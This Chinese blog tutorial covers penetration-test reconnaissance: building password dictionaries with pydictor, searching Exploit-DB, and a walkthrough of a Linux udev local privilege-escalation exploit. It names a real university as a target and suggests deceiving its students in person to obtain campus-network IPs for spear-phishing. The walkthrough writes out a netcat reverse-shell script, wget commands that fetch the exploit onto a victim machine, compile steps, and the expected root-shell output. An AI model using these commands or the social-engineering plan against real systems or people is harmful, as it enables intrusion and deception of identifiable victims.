信息收集--关联信息及漏洞情报


一、关联信息生成

在渗透前期工作开展之前,需要对目标的各种信息进行分析、拆分、组合。
例如:华南师范大学
根据地域习惯、宗教、互联网开放信息等信息进行简要拆分,假设获取的信息如下:

  • 广东人有祭祖习惯
  • 广东人口味清淡
  • 华师学生比较乖、低调、老实本分型,可以线下进行诱导欺骗从而获得校内网ip
  • IPV4地址开放lP段
  • 相关社交网络公开的数据库
  • 校园论坛

根据宗教、习惯、IP地址、开放数据支持…等,为后续的字典生成、鱼叉、水坑攻击铺下基石。

1.字典生成

pydictor

  • 安装:
 $ git clone https://github.com/LandGrey/pydictor

在这里插入图片描述

  • 生成字典
$ cd pydictor
$ python pydictor.py

在这里插入图片描述
快速使用:https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md

社会工程学字典:python pydictor.py --sedb
在这里插入图片描述
配置选项,然后查看当前配置然后生成字典

set cname liwei
set birth 19880916
show
run

在这里插入图片描述
在这里插入图片描述

$ vi sedb_153951.txt

在这里插入图片描述

  • 合并去重
    $ python pydictor.py -tool uniqbiner /my/all/dict/
$ mkdir ./tmp

在这里插入图片描述

$ mv 1.txt 3.txt ./tmp/

在这里插入图片描述

$ python pydictor.py -tool uniqbiner ./tmp/

在这里插入图片描述

  • 多字典文件组合工具
    $ python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt
$ mv * ../

在tmp文件夹下移动当前文件夹下的所有文件到上一级目录
在这里插入图片描述

$ python pydictor.py -tool hybrider 1.txt 3.txt

在这里插入图片描述

二、开放漏洞情报

1.常用网站

  • CVE #通用漏洞披露
  • Exploit-DB #漏洞提交平台
  • Cx Security #漏洞数据库
  • CNVD #国家信息安全漏洞共享平台
  • securitytracker #漏洞数据库
  • github #开源及私有软件项目的托管平台
  • seebug #知道创宇漏洞数据库
  • exploits.shodan.io

2.Search Exploit-DB

kail自带

$ searchsploit

在这里插入图片描述

示例

  • 搜索Windows提权漏洞
$ searchsploit -t windows local

在这里插入图片描述
在这里插入图片描述

  • 搜索Apache漏洞
$ searchsploit -t Apache

在这里插入图片描述

实际操作可以看看这个
searchsploit工具(exploit-db.com)使用实例:https://blog.csdn.net/whatday/article/details/102821589

试一试实例

1. 查找漏洞

搜索 privilege,然后使用 grep 命令来缩小查找范围,加上 -i 参数忽略大小写

$ searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

在这里插入图片描述
使用 8572.c 这个exp,它利用了 UDEV 设备管理器中的一个漏洞,允许通过未经验证的 Netlink 消息来执行代码

linux/local/8572.c

使用 locate 命令来查找完整的路径

$ locate linux/local/8572.c

在这里插入图片描述/usr/share/exploitdb/exploits/linux/local/8572.c

2. 本地 kali 中搭建 Apache 服务器

执行以下命令

$ service apache2 restart 

在这里插入图片描述
测试
在浏览器中输入localhost测试Apache是否配置成功
在这里插入图片描述

3. exp 上传到靶机中

在服务器文件目录下建立 exp 所在位置的符号链接,这样 exp 才可以下载
执行以下命令

$ ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

在这里插入图片描述

使用nano /var/www/html/run 命令来创建一个文件并输入下面内容:

#! /bin/bash            
nc 192.168.70.11 4321 -e /bin/bash

在这里插入图片描述
按Ctrl+X

如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。

如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为则输入新名称然后确定。这个时候也可用Ctrl+C来取消返回。

我们使用 Ctrl-X, Y, 和 Enter 进行保存

将 exp 上传到靶机

$ cd /tmp
$ wget http://192.168.70.11/run
$ wget http://192.168.70.11/local/8572.c

在这里插入图片描述

4.编译执行

使用 gcc 命令,使用 -o 参数来指定输出文件的名字

$ gcc -o exploit 8572.c

使用 -B 参数来指定链接器的位置

$ gcc -B /usr/bin -o exploit 8572.c

使用 ls 命令来查看可执行文件是否已经成功编译

$ ls

在这里插入图片描述
找到 Netlink 套接字的 PID

$ cat /proc/net/netlink

在这里插入图片描述

使用 ps aux | grep udev 来查看 UDEVD 的 PID

$ ps aux | grep udev 

在这里插入图片描述
把PID减去1之后运行,发现不行,再仔细找了一下,啊哈哈,我Ubuntu好像没有这个本地漏洞
在这里插入图片描述
不管了,接下来就是开启监听

$ nc -lvp 4321

在这里插入图片描述
如果有这个漏洞,监听之后应该是这样的

nc -lvp 4321
listening on [any] 4321 ...
192.168.70.144: inverse host lookup failed: Unknown host
connect to [192.168.70.11] from (UNKNOWN) [192.168.70.144] 34418
id
uid=0(root) gid=0(root)
whoami
root

回头看了一下,我Ubuntu版本太高了,这就尴尬了…

$ uname -a
$ lsb_release -a

在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: NVD漏洞信息数据集是由美国国家漏洞数据库(National Vulnerability Database,简称NVD)提供的一组包含了各种软件和操作系统的安全漏洞信息的数据集。这个数据集是为了促进网络安全研究和漏洞管理而创建的。 NVD漏洞信息数据集的主要内容包括漏洞的名称、描述、危害级别、可利用性、解决方案、参考链接等。这些信息可以帮助企业和个人识别并修复系统中的安全漏洞,增强网络系统的安全性。 该数据集中的漏洞信息根据不同的标准进行分类和标记,比如CVE(通用漏洞漏洞名称)标识符。这使得研究人员和安全专家可以快速地找到相关的漏洞信息,对其进行深入分析和研究。同时,NVD还将漏洞信息与其他相关的漏洞数据库进行关联,以提供更全面和准确的信息。 NVD漏洞信息数据集在网络安全研究、漏洞评估、威胁情报等领域起到了重要作用。它为研究人员提供了一个基准,可以对比自己的研究成果,并且可以帮助他们发现新的安全漏洞。另外,NVD漏洞信息数据集也为企业和安全从业者提供了一个重要的参考,帮助他们及时发现并修复可能存在的漏洞,从而降低系统被攻击的风险。 总而言之,NVD漏洞信息数据集是一个重要的安全漏洞信息资源,对于网络安全研究、漏洞管理和威胁情报都有着积极的促进作用。 ### 回答2: NVD漏洞信息数据集是一种包含多个漏洞信息的数据集。NVD是“国家漏洞数据库”(National Vulnerability Database)的简称,它是美国国家标准与技术研究院(NIST)维护的一个公共数据库,用于收集、更新和发布各种软件、硬件和操作系统的漏洞信息。 NVD漏洞信息数据集包括了各种漏洞的详细信息,包括漏洞的名称、漏洞编号、漏洞描述、漏洞的严重程度等等。这些信息对于安全研究人员、开发人员和系统管理员来说非常有价值,可以帮助他们了解当前存在的漏洞,采取相应的防护措施。 使用NVD漏洞信息数据集,可以对漏洞进行分类和归纳,进而进行漏洞分析和评估。同时,该数据集还可以用于建立漏洞检测和防护系统,提供即时的漏洞更新和修复方案。 NVD漏洞信息数据集的更新频率较高,NIST团队会根据最新的漏洞信息不断更新和发布数据集。因此,我们可以及时地获取最新的漏洞信息,快速采取应对措施,提高系统的安全性。 总而言之,NVD漏洞信息数据集是一种非常有价值的资源,对于安全研究和漏洞防护都具有重要意义。使用该数据集进行漏洞分析和修复,可以帮助我们更好地保护系统的安全,减少潜在的安全风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值